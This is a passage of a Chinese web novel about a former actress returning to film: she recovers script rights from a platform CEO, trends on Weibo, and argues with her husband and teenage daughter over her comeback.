狄澄在北市有男朋友,是个有**背景的大哥。在银市拍戏,天高皇帝远,她跟靳年打得火热。 后来,**大哥不知怎么知道狄澄在剧组给他戴绿帽子了,千里迢迢从北市杀到银市,找到剧组入住的酒店。 也是巧了,那天应真正好出去吃饭,看到前台几个男人在打听狄澄的房间号。为首的那个一脸凶悍之气,问清楚房号后,带着几个小弟大摇大摆上去。 她没多想,走出酒店刚好碰到从出租车上下来的靳年。靳年和大少爷去市区吃饭回来,手里拎着给狄澄买的水果,正美滋滋地打算去狄澄房间找她。 电光火石之间,应真脑中突然冒出一个念头。她把靳年叫住,说了句狄澄的男朋友来了,刚上楼。 整个剧组都知道狄澄的男朋友有**背景,靳年自然也知道,原本只是桩露水情缘。哪想到人家男朋友找上来了,他吓得东西都没收拾赶紧溜了。 应真当时也没多想。一个小时后吃完饭回酒店,看到两辆警车从酒店开出去。听剧组的同事说才知道,狄澄的男朋友把剧组一个男演员给砍了,那人的胳膊被砍得骨头都露出来了,流了一地的血。 120刚刚把受伤的男演员送走。附近派出所的警察把狄澄男朋友那伙人也抓了去。 **男友上门的时候,狄澄正跟对手戏演员走戏,结果**大哥以为那男的是奸夫,不问青红皂白见人就砍。 因为应真一句话,靳年逃过一劫。一个礼拜后,他回来拿东西,特意找到应真:“应真姐,你是我的救命恩人。我欠你一个人情,以后有什么事需要我帮忙的,尽管吩咐。” 他和应真同岁,比她小几个月,到这个时候,“姐”喊得贼溜。 聊起年轻时的荒唐事,靳年有些发窘:“那个受伤的男演员后来伤愈了。我出来创业,用很低的抽成把他签下了,给了不少资源,算是弥补吧。” 应真顺着他的话往下问:“那你和狄澄呢?后来在一起了吗?” 靳年眼里浮上一抹嘲讽:“出了这种事,怎么可能在一起?” 不过大家毕竟还在一个圈子里,这几年偶尔在活动上见到,点个头打个招呼的事。 在应真的记忆里,这段往事也就发生在几年前。而在靳年这,这二十年人生密度之大,时常有活了几辈子之感。 说起当年事,难免有些恍惚。 应真忍不住揶揄他:“我来之前还在想,你要是不记得也没关系。大不了我跟黄书韵天天到你办公室门口点卯。我一个家庭主妇,时间不值钱的。看咱俩谁耗得起谁。” 靳年被她说得有些尴尬:“哪里的话,你可是我的救命恩人。” 应真笑:“你这么一说,我好像有点亏啊。总共才八十万的版权费,还有半年就到期。靳总现在的身价,怎么着也值十几个亿。我感觉我开口开得太少了。要不,靳总给我们的电影投点钱?” 她一开口说话,记忆里那个吊着威亚在漫天风沙里不停翻滚的女孩又回来了。 靳年眼里流出一丝狼狈:“你用得着我投资?5000万对宁君昊来说,算什么?” 应真只微笑,没有把话题继续下去。 靳年让秘书把黄书韵请进来,在终止版权合作的协议上签了字,唰唰唰不到一分钟就签好了。 黄书韵拿着已经签好字的文件,有些发懵。这些日子为了这份协议,她吃不好睡不香。这就办好了?是不是有点太顺利了? 靳年让秘书拿手机给他们仨拍了张合影,又单独跟应真合了一张,“一眨眼都二十年了,当年在银市拍孤影江湖的合影我还留着呢,等会我要发个朋友圈。” 临走前,靳年加了她们俩的微信:“希望你们的项目顺利。有什么需要我帮忙的,尽管联系我。” …… 从嘉鼎大厦出来,黄书韵抓着应真上下打量,目光里全是担忧:“你没答应他什么过分的要求吧?” 应真被她紧张的模样逗乐了,“人家这么大公司的总裁,能提什么过分要求?再说咱都一把年纪了,有啥可图的。这个字签或者不签,对靳年来说都不是个事。他就当还我个人情而已。” 黄书韵也没问什么人情。看靳年那个样子,肯定是他的私事。他现在是大佬了,年轻时那些不光彩的事恨不得越少人知道越好。 顺利拿回版权,黄书韵感觉自己走路都轻快了,一把揽过应真:“走!今天中午我请你吃人均一千的大餐!” 黄书韵是认真地想请客,找了家环境清幽的日料店,要了个小包间,坐下来边聊边吃。 她从包里拿出剧本递给应真:“这是第三稿剧本,你先看看。对了——你最近跟余姐联系过没有?” 余姐余平婉是应真退圈前的经纪人。从应真出道起,余姐就开始带她。结婚后,应真流露出想退圈的意思,余姐不同意,两人还发生了争吵。 前段时间听黄书韵说,应真才知道。她退圈这些年,余姐也不当经纪人了,一直在一家大型影视公司担任制片人。 提到余姐,应真就有些犯怯:“我哪敢联系她。她肯定不想见我。” 黄书韵一脸认真地看着她:“余姐前段时间辞职了,我问她有什么打算,她也没说。我想请她来当结婚十年的制片人,你觉得怎么样?” 余平婉在演艺圈干了几十年,人脉很广,有她当制片人,项目又多了一重保障。 应真还能说什么:“只要你能把余姐请来,我肯定没意见。我就怕她听说我要演,来都不来。” 黄书韵胸脯拍得山响:“放心!这事包在我身上!我先去找她聊,到时候我们创业三人组再一起碰个头。” 到了这个年纪,黄书韵跟朋友见面都是先聊工作。聊完工作,有时间多余再聊点别的。 厨师那边已经开始上菜了,黄书韵吃了块炭烤喉黑鱼,问起应真昨天电话里跟她说的事情。 “你昨天跟我说,你怀疑宁君昊外面有情况。倒底什么情况?他外面有人啊?” 昨天应真在婆婆家,还没跟她说了两句,就被宁君昊叫走了。 应真神色淡了下来:“我也不知道,我就是觉得不对劲。昨天在婆婆那吃饭,发现一个我不认识的女人。宁君昊说是她表嫂的朋友,跟他公司的游戏项目有合作,我觉得他没实话,就感觉气氛不对劲,怪怪的。” 黄书韵凑近看着她,“哪里让你觉得奇怪了?” 应真秀气的眉毛微微皱起:“说不上来,女人的第六感吧。宁君昊避嫌得太刻意。桌上大家都夸那个女人菜做得很好吃,只有他一句赞扬的话没说。再怎么说,他跟那个女人有工作上的来往,不至于一句客套话没有。他不是这种人。” 女人的第六感就是个玄学,它总是会在该起作用的时候起作用。黄书韵对此深信不疑。 “我一向觉得不要小瞧女人的第六感,你觉得不对劲就是不对劲。不过,真真,这也不能说明你家宁君昊就跟那女人有什么。” 应真表示同意:“你说的对。我就是觉得没劲。你知道的,我讨厌谎言,讨厌被蒙在鼓里。这十几年,好多事我都不知道,只能从宁君昊那了解。可是,他说的又有多少是实话呢。” 黄书韵灌下一口清酒:“我懂你。我跟你一样。真实和虚伪之间,我肯定选真实,即便真实它很丑陋。” 应真叹道:“书韵,我其实挺羡慕你的。这几天我感觉有孩子有丈夫的中年女人,活得真的很没劲,每天就像是上了发条一样。昨天宁君昊回来,袜子随手一扔,我真想当场把袜子甩到他脸上。有时候,我觉得自己这么多年,挺失败的。” 黄书韵被她说得笑出来:“原来像你这样的富太太也要做隐形家务。好吧,我心理平衡了。” 应真佯装生气:“我在跟你探讨这么严肃的话题,你竟然还笑得出来。” 黄书韵笑容敛去,带着些劝解的口吻:“你们结婚的时候,宁君昊那样精明的商人,竟然提都没提婚前协议的事。可能我年纪大了,比较庸俗,我真的觉得这就是爱情。而且你跟宁君昊结婚这么多年,我从来没听你说过他不好的地方。即便偶尔吐槽几句,也都是些无关痛痒的地方。” 应真扯动唇角,自嘲道:“可能之前爱面子吧。毕竟外面人都觉得我嫁得不错,我看网上那些帖子盘点嫁得好的女明星,每次我都榜上有名。你们都觉得我是富太太,我当然不想把我生活中不好的一面展示给你们。” 这种心态黄书韵太有共鸣了。应真是个要强的中年女人。即便她已经退圈,那些年在圈里混,见多人踩高拜低,世态炎凉。过得好,也不会有几个人真的替你开心。过得不好,倒是一大堆悲天悯人的人到跟前来刷存在感。 所以,自己觉得幸福不幸福当然重要,外人眼里你幸福不幸福更重要。 应真看闺蜜有些忧虑地看着自己,忍不住握住她的手,眨了眨眼:“没事。女儿反正也大了,大不了不过了。” 她眼睛里全是年轻人才有的恣意和满不在乎。黄书韵想问“你舍得把老公拱手让给别人啊”,话到嘴边还是忍住了。 两人边吃边聊,喝了好几瓶日本清酒,结果越喝越清醒。黄书韵手机屏幕亮了又亮,她拿起来看了一眼,脱口而说了句“卧槽!”。 “应真,你上热搜了!” 第20章 第20章“你妈才上热搜呢!”…… 黄书韵在各大社交媒体申请了实名认证,方便甲方找她。现在粉丝也就两万,都是她前几年给一部古偶当编剧攒下来了。突然一下子弹出了这么多消息,她吓一跳,还以为出了什么大事。 打开微博一看,她们刚从嘉鼎大厦出来,靳年就把他和应真的合影,还有二十年前在银市《孤影江湖》剧组的合影,一起发到网上。末了还不忘@黄书韵,预祝她新项目顺利。 黄书韵忍不住嘟囔:“这个靳年还真是按捺不住。” 毕竟是国内最大视频平台的老板,靳年在微博上有几百万粉丝,发出来没多久就被饰演《孤影江湖》男三的演员转发了:“陪一张。”然后配上一张自己当年拍《孤影江湖》时的照片。 男三这些年转型拍电视剧,如今是娱乐圈炙手可热的叔圈天菜。他放出了年轻时拍武侠电影的照片,一下子涌上来上千条留言。没过一会,狄澄竟然也点赞了靳年的微博。 当年《孤影江湖》在大学群体里特别火。应真在里面饰演一个情感淡漠的女杀手,没有来处,也不知去处。一袭白衣奔袭在大漠狂沙中,护送师父的骨灰前往她在梦里才见过的江南,然而却在途中卷入一场巨大的江湖纷争中。 《孤影江湖》是导演莫沉的美学风格定型之作,他将那种苍凉孤寂拍到了极致。莫沉之所以挑应真拍那部戏,是看中了她身上浓厚的古典气质,她温婉柔美的外形和沙漠肃杀的环境形成了强烈的张力。 看过那部电影的人,如今差不多都步入中年,很多已经成了社会上有头有脑的人物。几张照片瞬间在微博上引发了集体回忆潮。一大群自带认证的帐号开始撰写各种回忆小文章,瞬间把#应真孤影江湖的词条拱上了热搜。 黄书韵:“你别说,他的秘书还挺会拍照。把你们俩气色拍得特别好。” 应真手机里没有下载微博,她拿着黄书韵的手机看了眼。第一张就是刚刚在靳年办公室拍的照片,她赶紧滑过去。说真的,她到现在还不太能接受自己中年女人的模样。 她翻到最后一张剧组在银市的大合照,二十年前的照片像素有些低。然而只一眼,鼻尖似乎就闻到了扑面而来的沙尘气息,脑海中瞬间涌上很多画面。 于她而言,这段记忆不过是五年前的事,依旧鲜活。 谁能想到,《孤影江湖》竟然是她演艺生涯的最高峰。 应真鼓足勇气又翻回第一张照片,仔细打量着。靳年穿着西装,双鬓微白,气质儒雅。而她——好像也没那么老?得感谢靳年秘书拍照角度选得好,她脸上的皱纹竟然都不见了,人看上去也不肿。 她今天特意穿了件很显瘦的风衣,里头是一件质地很好的真丝衬衫,下半身则搭配一条浆果紫的羊皮裙,刚好把她最好看的小腿部位露了出来。 这一身从里到外,都是她十几年前买的衣服。不得不说当年的大牌设计很耐看,现在穿还不显过时。她今天化了妆,涂了很显气色的口红,长发随意披散着,袖子挽起来一截,站在靳年旁边,看上去反倒比他显年轻。 应真看完照片,松了口气,将手机还给黄书韵。 “还是得多跟大佬混。你看就这一会功夫,我微博哐哐涨粉。” 黄书韵点开靳年发的那条微博,发现底下回复什么的都有: @重口味的小新新:女神还是那个女神,小伙已成大佬。 @娱乐八倍镜:二十年过去,应真从影后到阔太,靳年从经纪助理变资本大佬,这是什么晋江文学照进现实[跪了] @吃个栗子:应真这是要复出的节奏!十有八九是老公破产了! @宅喵在家:楼上的,人家老公是奇技老板!破产?小心奇技法务寄律师函给你。 黄书韵边看越笑。 应真有微博帐号,但这十几年都没有更新过。主页上只有每年系统自动发的生日微博。这么多年,她深居简出,在互联网上的知名度还不如她丈夫。难得露个面却是在靳年的微博里,也不怪网友八卦。 黄书韵刷着微博,八卦精也上身了,开始拷问自己闺蜜:“我都不知道当年靳年也去了孤影江湖剧组,还待了那么长时间。我听说他跟好多演艺圈女明星谈过,你俩就没发生点啥?” 应真睨她一眼:“你又不是不知道那部戏多难拍,我哪有精力谈恋爱?那时候我跟他拢共没讲过几句话。他在剧组有喜欢的人。” 蛤?黄书韵瞪大眼睛看着她:“是谁?快满足一下我的八卦欲。” 应真笑:“都多少年前的事了。现在早已经尘归尘,土归土了。没什么好说的。” * 培华中学的食堂在北市所有中学里头绝对算是上顶流。两层食堂,中餐、西餐、小吃、甜点、饮料应有尽有。 外头学校学生到培华来参观没有不羡慕的,宁颐然吃久了觉得也就那样。中午她点了一份鸡肉菌菇饭,再加一份冰糖烤梨,还买个巧克力慕芬蛋糕。 两个死党一个生病请假,一个不想吃食堂。宁颐然上午第四节课传纸条给晋扬,约他一起吃午饭。晋扬回了个:“好。” 但中午在食堂碰头的时候,才发现多了个电灯泡,魏珣也跟着一起来了。 魏珣跟晋扬是铁哥们,他也是学校皮划艇社团的。但宁颐然看他挺不顺眼的,因为这人嘴实在太欠了。 果然一坐下来,魏珣看到宁颐然餐盘里的东西,便做出一副惊恐的样子,“宁颐然,你一个人吃这么多?” 那个慕芬蛋糕是宁颐然给死党买的,但看魏珣这副大惊小怪的样子,她一句话不想多话,翻了个白眼:“关你屁事啊!” 魏珣冲她竖起大拇指:“你可真是咱班的女大胃王。我以为女生都像易梦楠那种小鸡胃呢。” 宁颐然在学校最讨厌别人在她面前提“易梦楠”,黑着脸在桌子底下踹了他一脚:“闭嘴吧你!” 就因为她们俩妈妈都当过演员,班上同学总爱把她们放在一起比较。 她妈妈跟易梦楠妈妈根本不一样好吗!她妈妈已经退圈好多年,早已经不当演员了。再说,她妈妈当演员满打满算才十年,当全职妈妈已经十四年了。演员只是她妈以前干过的一份工作而已。 不像易梦楠妈妈,这么多年还一直干着演员的工作。 宁颐然现在正处于自我意识逐渐成形的阶段。她隐约感觉到自己跟易梦楠是不同类型的女生。她也不喜欢班上同学把她们放一起比较。 易梦楠在整个年级都很受欢迎,文艺活跃分子,经常参加校内外的各种活动。而宁颐然性格高冷,在学校朋友并不多。况且,她对吹拉弹唱的文艺活动一点也不感兴趣。 小时候,妈妈也曾想把她往这个路子发展,让她学钢琴、小提琴,甚至还让表姨教她古筝。妈妈说她小时候家里条件不好,想学这些外婆没钱送她去学。后来,她考上师范,才在学校里跟着老师学了钢琴,后来弹得一手好钢琴。 宁颐然觉得妈妈逼着她学乐器,就是为了弥补自己的遗憾。 偏偏她是一身反骨,妈妈越让她学,她越不肯学。她才不要学这么girly的东西。所以她去学跆拳道,后来受爸爸的影响,学皮划艇,还参加了学校的机器人社团。 …… 魏珣被她踢得嘴角直抽抽。晋扬将他们又要吵起来了,赶紧给哥们一记肘击。 “你能不能不要胡说八道?!” 魏珣虽然嘴欠,但并不是真的想惹宁颐然生气,他还想找宁颐然帮他买票呢,“听说你和晋扬抢到了公开赛门票?” 每年国庆,北市都要举办一场赛艇公开赛,这是国内最有名气的赛艇类比赛。作为皮划艇社团的成员,往年都是学校组织一起去观看。今年因为活动太火爆了,主办方实行售票制。学校不出面组织了,让想去的学生自己去网上抢票,然后自行前往。 今年比赛新增了高校组,全世界高校有点名气的赛艇队都来了。宁颐然是Q大赛艇队的忠实粉丝,所以这次比赛她一早就跟爸爸说好了,到时候爸爸会陪她一起去看。 宁颐然看出魏珣眼里的渴望,一脸淡定:“对啊。我爸让他的秘书帮我抢了两张票。他们公司网速快。” 魏珣腆着脸:“那能不能让你爸秘书帮小弟也抢一张?拜托拜托!” 宁颐然已经吃完了,将蛋糕往怀里一揣,白了他一眼:“你自己抢去吧!” 吃完饭回到教室,教室里午睡的午睡,玩游戏的玩游戏。易梦楠带了个IPAD过来,几个女生正围在她座位旁边,凑一起看着什么。 死党正啃着宁颐然给她带过来的慕芬蛋糕,听到后面女生传来的笑声,对宁颐然道:“她们在看易梦楠妈妈参加的那个综艺。” 最近她们年级都在谈论那档演技类综艺,因为太火了。微博上面,十个热搜有九个跟这档综艺有关,连带易梦楠妈妈都上了好几次热搜。 她们班还有人在朋友圈晒上次易梦楠妈妈来学校的照片。 宁颐然对这个挺无感的,娱乐圈的事她一点兴趣也没有。 她拿出手机,正准备趁中午休息时间玩几盘游戏。微信有条未读消息,点开一看,是个好友申请——YolandaSong是谁? 难道是那个宋阿姨? 宁颐然眉头皱了起来,宋阿姨加自己干嘛?那天她说得很清楚了。虽然她很烦她妈,但也没办法接受别的女人来给她当妈。 宁颐然想知道这个宋阿姨葫芦里倒底卖的什么药。于是,她通过了好友申请。YolandaSong很快发了条消息过来:“然然,我是宋阿姨。” 宁颐然:“???你怎么知道我的号码的?” YolandaSong:“我想知道自然有办法知道啊。那天在你奶奶家,我感觉你好像对我有点误会。我就想告诉你,我和你爸爸现在就是单纯的工作合作关系。我绝对没有想当你后妈的意思。” 宁颐然拧眉:“So?” YolandaSong:“:)我挺喜欢你的个性的,我觉得我们可以当朋友。听你婶婶说你是皮划艇高手。国庆节在北市举办的赛艇公开赛你感兴趣吗?你要是感兴趣,我可以送几张票给你。我认识这次比赛的主办方。” 宁颐然想了不想地拒绝:“不用。我已经买到票了。” 宋阿姨跟她妈年纪差不多。四十岁的女人跟个十四岁的小孩交朋友?当她白痴呢!用脚趾头想也知道,宋阿姨接近她,肯定是因为她爸! 不过,宁颐然也不会删她,她倒要看看这个宋阿姨倒底想干什么! 宁颐然正对着手机思索,魏珣拿着手机冲进教室,“卧草!宁颐然,你妈妈上热搜了!” 宁颐然掀起眼皮看了他一眼:“你妈才上热搜呢!” 魏珣:“我说真的!不信你现在打开微博看一下,热搜第二位!” 宁颐然打开微博看了一眼,热搜第二位赫然是“应真孤影江湖”。 在热搜上看到妈妈的名字,很难形容这种滋味。宁颐然感觉自己头皮一阵发麻,身上也开始起鸡皮疙瘩。 她点开热搜词条便看到妈妈跟一个她不认识的中年男人的合影。原本妈妈早上说她有事,是去见这个男人? 宁颐然的心跳不由自主地加快,她点开那个叫靳年的男人的主页,上面写着嘉鼎CEO。嘉鼎她知道,是国内一家很有名的视频平台。她又翻了几条微博,搞清楚了来龙去脉。妈妈今天一大早跟朋友一起去找这个叫靳年的男人,应该是谈工作上的事。 可是,妈妈现在就是个家庭妇女,已经很多年不跟以前圈子里的朋友来往了。她去找视频平台的老板干什么? 难道妈妈真的像网上说的那样,打算复出拍戏了?为什么妈妈没有跟她和爸爸提这事?! 宁颐然在那条热搜底下翻了好几页,越看心里越闷。然而那条热搜底下一条评论更是让她觉得刺眼。 一个叫冰冰火火兔的网友的评论被顶上了热门。她把当年那张剧组合影中一个叫狄澄的女演员和她妈妈分别圈出来。那个女演员头像上方P上了一句话:我要用演技征服世界。她妈妈上面也P了一句话:世界已经被我老公征服。【魔蝎小说 mo xie xs .c om】 20-30 第21章 第21章“我打算复出拍电影了。…… 宁颐然一直觉得她妈妈是个单纯的家庭妇女,除了照顾她,照顾爸爸,什么都不懂。 虽然她挺看不上妈妈的,但是她没办法接受别人说她妈妈。 自己妈妈自己吐槽一下就行了。她又没说过别人的妈妈,别人跑过来说她妈妈,她就很不爽了。 宁颐然手指在屏幕上滑动着,一条接一条地往下看,越看越生气。幸好那条“靠演技征服世界”vs“世界已经被我老公征服”,已经有不少网友替她回怼了。 话说得没错,但她妈妈就是命好有什么办法。 宁颐然拉了个小群,把晋扬、魏珣和两个死党都拉进去了,让他们帮她一起怼网上那些说她妈不好的评论。 几个人中午游戏也不玩了,围在一起发微博。易梦楠那群人本来看综艺看得起劲,听说宁颐然妈妈上了热搜,综艺也不看了,打开微博围观去了。 一群八卦精跑到宁颐然跟前,想从她这套点话: “你妈打算复出了啊?是拍电影,还是跟易梦楠妈妈一样拍电视剧啊?” “宁颐然,那些人说你爸破产了,真的假的啊?” 宁颐然厌蠢症又发作了,懒得理这些人。她拿起手机打了个电话给她爸。 宁君昊正在开会,奇技上市招股说明书刚刚出炉。他要跟核心部门讨论修改意见。这种会议,牵涉财务数据和风险披露各种敏感信息。开会的时候,所有人的手机都得放在会议桌上,正面朝上,严禁录音。 高管团队、财务、业务部门都汇报完了,只剩下法务部门,主要就知识产权方面提出了补充意见。 宁君昊凝神听着,搁在桌上的手机突然亮了,是女儿打过来的。这个点她应该在学校吃午饭或者午休才对,打电话给他应该也不是什么正经事。 他抬手便把电话掐了。他刚掐掉,女儿又打了过来。这次宁君昊拿起来接了,还未开口,电话那头女儿便噼里啪啦地说了一大串: “你老婆今天上热搜了。网友说肯定是你破产了,所以老婆才会复出。搞得我同学都问我你是不是破产了,我懒得解释了,你赶紧让你手下人辟个谣吧……” 老板在接电话,正在汇报的人自动停止了汇报,隐约听到手机那头小女孩急促的声音。 断断续续,不甚清楚,会议室坐得离宁君昊近的还是有人隐约听到了“破产”两个字。这下会议室安静得连点击鼠标的声音都没了。 宁君昊商人的思维惯性,脑子里头一个冒出来的念头便是:不会是竞争对象为了破坏他们上市计划而跑出来泼脏水吧? 他素来低调,在社交媒体上并不活跃。这些年,应真跟他一样,深居简出,安心当他背后的女人。 早上她说要去见一个朋友,怎么就上热搜了?宁君昊眉头皱了起来:“谁说的?你妈妈好端端地怎么会上热搜?” 宁颐然:“你打开微博看看就知道。妈妈早上说她有事,原为是去见那个嘉鼎CEO了。人家嘉鼎CEO微博粉丝几百万,把合影发到网上,一下子就上了热搜。网友看他发的照片,才知道他跟妈妈是多年的好朋友。还说,肯定是你破产了,妈妈这才复出赚钱养家。爸,你总不能让人这么诬蔑你吧?你赶紧让你公司的人辟谣,我可懒得浪费口水跟同学解释。” 这届小孩打电话没有ending语,说完就直接挂断。宁君昊猝不及防听到一阵“嘟嘟嘟”的忙音。 这世上也就只有女儿敢这么对他了。 会还得照开。他示意法务部继续汇报。法务徐总监看这架势,长话短说,五分钟结束汇报。 宁君昊:“其他人散会。老陈和老徐一下。” 法务部和公关部两个总监互相对看一眼,都以为自己刚才汇报的,老板还有进一步指示。 宁君昊手机上没有微博,他不是社交媒体的用户。 “你们关注一下微博,我太太那边出了点舆情。现在这个阶段比较敏感,只要是跟奇技有牵涉的舆情都要重视,你们看看怎么应对。” 刚才在会上,两位总监都没有看手机,这会拿出手机才发现微信都炸了。公关部处理这种事情比较有经验,陈总监立马表示:“舆情我们来处理吧。时光之烬上线快半个月了,喜报已经做好,还没有宣发,趁这个机会发一下。时光之烬的成绩有目共睹,就这一款游戏的成绩已经足够平息舆情。” 法务部徐总监也觉得现在状况,还不需要他们上场,“我们也会密切关注。跟公关部配合。” 宁君昊点点头:“你们去处理吧。” 两位总监起身离开会议室,宁君昊突然想起一件事,把公关部陈总监叫住,“你之前是不是给我开通了个人微博帐号?现在还在运营吗?” 前几年公关部说帮他开通了个人微博帐号,让他偶尔上去发发微博,做点宣传工作。但宁君昊一向低调,游戏行业本身又敏感,一直是监管的重要目标。像他这样行业有影响力的人物,对在社媒上发言持谨慎态度,所以那个帐号一直由公关部负责打理。 “公关部一直在运营。” “现在粉丝多少了?” “30万了。”陈总监对这个数字还是很满意的,“国内几家纯游戏公司CEO当中,您是粉丝数量是最多的。” 这还不是因为他们时不时在上面传一些《幻境之门》的小段子和周边内容。《幻境之门》是奇技创立二十多年来,最受欢迎的一款游戏,粉丝用户众多。再加上最近《时光之烬》走红,宁总个人帐号粉丝噌噌地往上涨。 陈总监正美滋滋地等着宁总表扬呢,没想起老板只是掀起眼皮看了他一眼,“才30万?” 蛤?什么叫才30万???陈总监笑容有些发僵,不死心地继续道:“横峰网络徐总粉丝才10万。” 宁君昊眼里的不悦呼之欲出:“我看嘉鼎CEO靳年粉丝有六百多万。” 陈总监有些发懵。不是。人家是国内最大的视频平台,国民度不一样啊,要不怎么发个合影立马蹿上热搜? 宁总不是一向不关注社交媒体吗?他们替他开通私人帐号以来,他从来没有过问过,怎么突然关心起自己粉丝数量了? 陈总监吃不准老板想法,硬着头皮道:“据我所知,靳年的帐号是他自己管理的,他在微博上活跃度很高,有时候一天发十几条。不仅数量多,内容也颇为优质。他还经常跟明星互动,这些年下来攒了不少粉丝。” 宁君昊没说什么了,隔了半晌道:“以后我个人帐号你们不用管了,我自己来打理。” 老板发话了,陈总监还能说什么,“好的。等会我让人把用户名和密码发给您。” …… 偌大的会议室就剩下宁君昊一个,他坐在那儿没动,拿起手机开始下载微博。公关部那边很快发来帐号密码,他登陆进去,一眼就看到应真上热搜的那几张照片。 她和靳年的那张合影,应该是在靳年办公室。应真笑意盈盈地看着镜头,和靳年并肩站在一面巨大的LED墙前面。她身材娇小,才堪堪到靳年肩膀位置。而靳年一只手虚搭在她的肩上,低垂着眼含笑看着镜头。 有种说不出的默契熟稔。那张二十年前剧组大合影,宁君昊之前没见过。应真和靳年站在人群的两端,两张青春飞扬的脸不约而同地对着镜头笑着。因为相貌都很出众,让人很难不注意到他们。 这样青涩的应真是他没见过的。宁君昊心里发酸,一股醋意直往上涌。 他想到二十年前的自己,窝在租的工作室里,整天跟不知从哪里蹦出来的老鼠同处一室。那时候,应真对他来说还是遥不可及的女人,是他在二手电脑光盘播放器的盗版碟里才能见到的女人,是他在电教楼的放映室里为之沉迷的女人。 那昏沉泛黄的幕布上,她一袭白衣站在漫天狂沙的沙漠上,眉眼却终笼着一层青色的雾,仿佛笼着一层江南烟雨。 他做梦也没想到,他后来竟然娶到反复出现在自己梦中的女人。 他太兴奋了。兴奋到他不愿去想,在他出现之前,她的生命里是否已经出现过别的男人。她和他们发生过什么,他从来没问过,男人的骄傲让他耻于去问…… 宁君昊秘书看到里间会议室人一个个出来,又等了一会还不见老板踪影。他正想敲门提醒老板,五分钟之后有个线上面试。 会议室突然传出来什么东西摔碎的东西,声音很大,秘书吓得一抖,停在门口,犹豫要不要敲门。 门突然被人从里面打开,宁总出来了,脸色看着不太好。 “我刚才把杯子碰到了,你去收拾一下。” “好的。宁总。” 秘书收拾好了之后,回到座位,朝老板办公室看了一眼。老板已经在跟线上面试的候选人聊了。只是脸色依旧看上去很不好。 …… 宁颐然这一下午根本没心思在上课上,忙着跟网友吵架。好在周一下午没什么正课,一节体育,一节电脑课。 体育课下课的时候,她发现网络风向突然变了。那些猜测她爸公司是不是破产的评论被嘲上了热搜。她点进去看才知道是怎么回事。 她爸公司刚上线的游戏《时光之烬》突然发了喜报,而最热门的《幻境之门》也发了十周年回顾。这一下把那些不了解奇技,趁机抹黑奇技的人的嘴给堵上了。 但这么一搞,反而又让他公司上了一回热搜。宁颐然没想到学校八卦精这么多,这一下午她被问得烦死了。以至于妈妈来接她,她也没了好脸色:“你今天上了热搜,你知不知道?害我在同学面前丢人。” 对应真来说,上热搜这事不过是个小插曲,重要的是版权的事搞定了。她脑子里还在想《结婚十年》拍摄地点的事。她当然希望最好是在北市拍,这样她每天可以回家。但是如果选在北市,拍摄成本肯定会比其他城市高。像她们这样的小成本制作,从省钱的角度考虑,北市并不是最佳选择。 女儿一上车劈头盖脸几句话,让她怔住了。应真从后视镜里看了女儿一眼,脸色淡了下来:“几张照片而已,怎么就让你丢人了?” 宁颐然:“你没看网友评论啊?他们都说肯定是我爸破产了,所以你才要复出。搞得我同学一个个来问我。” 汽车在红灯前停下,应真转过头看着女儿,十四岁孩子,一脸有恃无恐,一脸厌烦和叛逆,她在她眼睛里看不到一点儿尊重。 这是她辛苦养大的女儿么?如果是她辛苦养大的,现在自己应该很伤心吧? 可是应真发现自己心里只剩下一片淡漠,仿佛透过女儿在看一个陌生人。 缺乏十月怀胎和分娩之痛的切身感受,又没有亲自哺育含辛茹苦养大的点滴积累,所谓的“母爱”也不过是沙石上垒起来的空中楼阁。 也许是她不对,她早该把自己打算复出的想法告诉女儿。 这一天,宁君昊难得下班也早。吃罢晚饭,应真便当着丈夫和女儿的面,把自己的打算说出来。 “我打算复出拍电影了。” 第22章 第22章“我不是她。” 应真说完,餐桌上安静了一瞬。 宁颐然也说不清自己是高兴还是不高兴。妈妈出去拍戏,爸爸工作那么忙,没人管她,到时候她肯定自由了。但是复出拍电影这种事妈妈不应该事先告诉她吗? 从小到大,妈妈不管做什么决定都优先考虑她的需求,可是现在出去拍戏这种事问都不问她一句,决定了才来通知她。网友都比她先知道。 宁颐然心里有些生气,嘴上道:“你出去拍戏,那以后谁来接送我,谁来给我做饭?” 这个应真早就想好了:“从现在开始,我可能会越来越忙,正式开机应该在年底。到时候让你爸爸的司机小李叔叔接送一下。晚饭我跟叶阿姨说好了她来做,我一个月多给她几千块钱,她很乐意。” 叶阿姨的儿子马上高三了,正是要攒大学学费的时候。多一份收入,她求之不得。 宁颐然没想到妈妈竟然不声不响全都安排好了,她气得腾地站了起来,小脸一沉:“叶阿姨做饭难吃死了,我才不要吃她做的饭!” 女儿甩门进了房间,宁君昊压抑了一整天的烦躁有些崩不住了,抬眼看着应真,“复出这事你是不是要跟我们商量一下?你出去拍戏,我工作那么忙,你舍得让女儿每天一个人在家?” 他有情绪。 应真眨眨眼:“我也是确定了才来告诉你们。然然她已经十四岁了,不是四岁。我来这些日子,也看出来她也没有那么需要我。我们这部戏最多拍三个月,实在不行到时候让妈来陪陪她,或者她去妈那边住。” 宁君昊没想到她那么不喜欢跟他母亲打交道,竟然为了复出打起了婆婆的主意。安排完他的司机,又安排起他的母亲。她口气跟安排谁来照顾猫猫狗狗有什么两样? “她是你女儿!你倒是放心!” 宁君昊扔下一句话,沉着脸拎着电脑上楼,推开书房门,将电脑包随手往地上一扔。 应真进来的时候,宁君昊已经脱下西装,背对着门,正在解衬衫袖口的扣子。刚才脱下来随手扔在电脑椅上的西装,顺着椅背掉下来。 “你怎么不说她也是你女儿呢?!难道女儿的事,你就不能多腾出点时间管一管?” 宁君昊太阳穴一阵刺痛,语气也很干硬:“公司现在这么多事,我恨不得一个人劈成三半。如果一天有四十八小时的话,我也许可以。” 应真深吸一口气,走过去捡起掉下来的西装,再起身时已是一脸淡然,语气也极淡:“君昊,你要搞清楚,我不是她。” 宁君昊转眸对上她那双沉静得不带什么情绪的眼睛,明白过来她说的“她”是谁,眼神瞬间变得锐利霸道起来,语气有些激动:“你在胡说什么?什么你和她,你们在我这就是同一个人!我不管你是二十、四十、还是七十,你都是我老婆,也是然然的妈!” 应真将他的西装搂在怀里,宽大的西装衬得她过于娇小了,那双眼睛却清透安静:“我的意思,我没经历过十月怀胎,也没吃过生她养她的苦,这十几年跟女儿的点点滴滴在我这是一片空白。有时候我感觉自己的心态更像后妈。况且,我也不是傻子,然然喜欢不喜欢我,我看不出来?她现在对我的态度,你觉得我能对她产生什么母爱吗?” 说到这,她顿了顿,“母亲和女儿之间的感情,不是凭空产生的。这段时间,我努力适应母亲的身份,承担这个角色相应的责任。但是我清楚地知道这不是什么母爱。非要说,这大概是母职吧。” 